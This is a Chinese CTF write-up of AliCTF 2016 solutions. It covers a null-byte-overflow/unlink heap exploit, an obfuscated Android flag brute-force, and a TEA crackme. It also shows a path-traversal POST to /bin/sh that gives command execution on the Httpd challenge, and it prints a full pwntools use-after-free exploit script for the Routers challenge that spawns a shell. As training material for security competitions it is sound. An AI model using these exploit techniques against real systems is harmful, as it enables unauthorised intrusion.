AliCTF 2016
上上周参加了阿里的CTF,靠着最后绝杀队伍有幸拿到了国内第一名,也顺利进入了XCTF Final。把自己做的几个题简单写了下,发出来也算个总结吧。
PWN-FB
经典的null byte overflow加上unlink,覆盖下一个堆块SIZE字段的pre_inuse字段,free时造成后向融合,unlink时可以写msg全局管理结构(设为gl)指向&gl-3。这样通过set message就可以任意地址写,此外,将free@got修改为printf@plt,这样每次free的时候都可以泄露指定地址的内容,可以任意地址泄露。这次的题用的都是同一个libc,所以也就没用dynelf来获得system地址了。
中间有个花絮,最初能任意地址写的时候,还想用伪造字符串表,并修改.dynamic段中.strtab的地址为伪造的字符串表的地址,来获取shell。但发现.dynamic段不可写,记得上一次做一个arm下的pwn时是可以写的,在x64下竟然不可以。




Mobile-Steady-android
整个程序都是用c++写的,没有用到java。我也没仔细看,打开so后发现做了控制流混淆,好吧,那就直接找关键函数吧,(其实,如果程序算法很复杂同时做了控制流混淆的话,我觉得基本上没人能做出来了,所以CTF中对so做控制流混淆的一般算法都不难)。
直接看到了一个flg(int, char*)的函数,进去一看,根据int的值,生成长度为12的字符串,大概就知道什么意思了,如果int值对的话,那个字符串数组就是flag了。好,直接把flg函数复制出来,并进行修改。对int设置了范围进行循环爆破,并要求求出的字符串数组在0-9a-zA-Z中,长度为12,爆出了30多个满足的字符串,我试了第4个还是第5个的时候就正确了,不得不说这是投机取巧了。


RE-DEBUG
是一个windows的程序,父进程会调试子进程,子进程在执行的时候会遇到非法指令,这个时候父进程会对子进程的指令和数据进行处理,并让子进程继续运行。处理分别是异或0x7f和异或0x31。

子进程会要求用户输入,经过128轮TEA加密算法,然后再处理,并将结果与指定数据进行比较,如果相等的话,就会输出Good!。
TEA的密钥是父进程在子进程执行过程出异常时进行的修改,四个key分别是0x112233,0x44556677,0x8899aabb,0xccddeeff。TEA是对称加密算法,下一步就是找一个tea的程序开始解密就好,刚开始傻傻地去github上找,发现都不好用,后来在博客园找到了一个。有个坑点就是,网上的代码大部分都是32轮的,如果直接修改为128轮的话,会有问题,有个小地方需要注意下,这里就不说了。Flag就是:c6bf3d7cdad82ea712cea62cccbafddf

RE-Httpd
这个题只给了一个地址和端口。请求过去,发现总是返回一个特定的阿里巴巴的页面。很早以前接触过文件包含,我就尝试着去试了下,真的可以!!如下图:

但是我尝试直接包含flag,发现并没有成功,这样的话,应该是flag被藏起来了。
下一步,继续通过文件包含把/home/httpd/httpd给读了出来,这样的话就有二进制文件了。接下来就是对二进制文件进行分析。分析后,如果是post请求过去,服务器会进行特殊的处理,如果POST /../../../../../../../../../bin/sh的话,服务器会启动执行/bin/sh,并把post过去的数据当作命令执行,并返回结果。这样的话,就可以任意指令执行了。这些都是本地调试后发现的。


定位flag文件位置的过程也挺有趣的,
flag藏在/home/httpd/httpd/ALICTF{you_know_flag_huh?}/ _______________/flag下,怪不得直接文件包含不到。

Routers
是一个UAF的洞,通过泄露虚表地址泄露主程序模块,通过泄露top_chunk的值获得堆的地址,通过magic gadget获得shell,有时候magic gadget还是很好用的。
from pwn import *
#context.log_level='debug'
#by wah
r = remote('127.0.0.1',10001)
exe = 'routers'
def getpid():
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
def new_router(r,name=''):
r.recvuntil('> ')
r.sendline('create router')
r.recvuntil('(tplink/hiwifi/cisco): ')
r.sendline('cisco')
r.recvuntil('router name: ')
r.sendline(name)
def new_terminal(r,tname='',rname=''):
r.recvuntil('> ')
r.sendline('create terminal')
r.recvuntil('you want to attach: ')
r.sendline(rname)
r.recvuntil('(windows/linux/osx): ')
r.sendline('linux')
r.recvuntil('terminal name: ')
r.sendline(tname)
def connect(r,r1,r2):
r.recvuntil('> ')
r.sendline('connect')
r.recvuntil('you want to be client: ')
r.sendline(r1)
r.recvuntil('you want to be server: ')
r.sendline(r2)
def disconnect(r,r1):
r.recvuntil('> ')
r.sendline('disconnect')
r.recvuntil('you want to disconnect: ')
r.sendline(r1)
def del_router(r,r1):
r.recvuntil('> ')
r.sendline('delete router')
r.recvuntil('you want to delete: ')
r.sendline(r1)
def getexebase(r):
r.recvuntil('> ')
r.sendline('show')
r.recvuntil("I'm connected to ")
data = r.recvuntil('\x0a')[:-1]
data = data + (8-len(data))*'\x00'
exebase = u64(data) - 0x204B30
print hex(exebase)
return exebase
def show(r):
r.recvuntil('> ')
r.sendline('show')
def leak(addr):
global r
name = 'a'*8 + p64(addr) + 'a'*16
new_router(r,name)
show(r)
r.recvuntil("I'm connected to ")
data = r.recvuntil('\x0a')[:-1]
data = data + (8-len(data))*'\x00'
func = u64(data)
print hex(func)
del_router(r,name)
return func new_router(r,'') #router 1
new_router(r,'') #router 2
new_router(r,'') #router 3
getpid() connect(r,'','')
connect(r,'','')
del_router(r,'')
new_terminal(r,'','')
exebase=getexebase(r)
del_router(r,'') setvbuf_got = 0x204EC8+exebase
strlen_got = 0x204EF0+exebase setvbuf = leak(setvbuf_got)
strlen = leak(strlen_got)
main_arena = setvbuf - 0x6C0A0 + 0x3A5620
#print hex(main_arena+89)
top_chunk = leak(main_arena+89)
top_chunk = top_chunk<<8
print hex(top_chunk) vtable = top_chunk - 0xa0 + 0x18
magic_gadget = setvbuf - 0x6C0A0 + 0x41374
name = p64(vtable) + p64(magic_gadget)*3
new_router(r,name)
disconnect(r,'')
r.interactive() r.close()
AliCTF 2016的更多相关文章
- 2016 alictf Timer writeup
Timer-smali逆向 参考文档:http://blog.csdn.net/qq_29343201/article/details/51649962 题目链接: https://pan.baidu ...
- Be Better:遇见更好的自己-2016年记
其实并不能找到好的词语来形容过去的一年,感觉就如此平淡的过了!没有了毕业的稚气,看事情淡了,少了一丝浮躁,多了一分认真.2016也许就是那句话-多读书,多看报,少吃零食多睡觉,而我更愿意说--Be B ...
- Connect() 2016 大会的主题 ---微软大法好
文章首发于微信公众号"dotnet跨平台",欢迎关注,可以扫页面左面的二维码. 今年 Connect 大会的主题是 Big possibilities. Bold technolo ...
- “.Net 社区虚拟大会”(dotnetConf) 2016 Day 3 Keynote: Scott Hanselman
美国时间 6月7日--9日,为期三天的微软.NET社区虚拟大会正式在 Channel9 上召开,美国时间6.9 是第三天, Scott Hanselman 做Keynote.今天主题围绕的是.NET ...
- “.Net 社区虚拟大会”(dotnetConf) 2016 Day 2 Keynote: Miguel de Icaza
美国时间 6月7日--9日,为期三天的微软.NET社区虚拟大会正式在 Channel9 上召开,美国时间6.8 是第二天, Miguel de Icaza 做Keynote,Miguel 在波士顿Xa ...
- “.Net 社区虚拟大会”(dotnetConf) 2016 Day 1 Keynote: Scott Hunter
“.Net 社区虚拟大会”(dotnetConf) 2016 今天凌晨在Channel9 上召开,在Scott Hunter的30分钟的 Keynote上没有特别的亮点,所讲内容都是 微软“.Net社 ...
- 微软发布正式版SQL Server 2016
微软于今天在SQL 官方博客上宣布 SQL Server 数据库软件的正式发布版本(GA),历时一年多,微软为该软件发布了多个公共预览版和候选版本,而今天最终版本终于上线了.在博客中,微软数据集团的企 ...
- Summary of Critical and Exploitable iOS Vulnerabilities in 2016
Summary of Critical and Exploitable iOS Vulnerabilities in 2016 Author:Min (Spark) Zheng, Cererdlong ...
- 黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结
黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结 作者:蒸米,耀刺,黑雪 @ Team OverSky 0x00 序 iOS的安全性远比大家的想象中脆弱,除了没有公开的漏洞以外,还有很多已经公开 ...
随机推荐
- The account is locked
SQL> select * from v$version where rownum=1; BANNER --------------------------------------------- ...
- Margin是什么?
Margin是什么 CSS 边距属性定义元素周围的空间.通过使用单独的属性,可以对上.右.下.左的外边距进行设置.也可以使用简写的外边距属性同时改变所有的外边距.——W3School 边界,元素周围生 ...
- 网页body中background在ie中显示不出来
网页body中background在ie中显示不出来 | 浏览:349 | 更新:2014-03-11 14:03 刚才上班在公司网站上写一个页面,在谷歌浏览器,火狐浏览器里调试完后,一切正常,忽然想 ...
- 使用 Require.js 引用第三方框架时遇到的一些情况
使用 Require.js 引用第三方框架时遇到的一些情况 在使用Require.js解析依赖的时候,会出现以下几种情况: 程序中的依赖关系 当前程序 依赖于 B包, B包 依赖于 A包 A包与B包两 ...
- wince下写入数据到csv/txt文件中
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...
- Spark IDEA开发环境构建
本文档基于IEDA构建spark maven应用. date: 2016/8/1 author: wangxl 1.下载IDEA https://www.jetbrains.com/idea/ 2.安 ...
- yii2 访问控制
class SiteController extends Controller{ /** * @inheritdoc */ public function behaviors() { return [ ...
- python-整理-vs2013新建文件编码
使用VS2013新建py包和py空文件还有文本文件时发现编码是936.如果代码中写了中文关闭后再打开就乱码了. 找了几个小时,发现模板文件就是936编码,奇怪的是pyclass等其它模板是正常的UTF ...
- set up size, title to tcl tk main window
#!/usr/bin/wish wm title . "this is main title" wm geometry . 500x300+30+200 500 --width 3 ...
- 【4】项目结构+基本的Tornado服务
项目地址: Blog 简单的tornado服务分支: simple 项目结构 创建对应的文件夹并测试一个最简单的功能 main.py #!/usr/bin/env python # coding:ut ...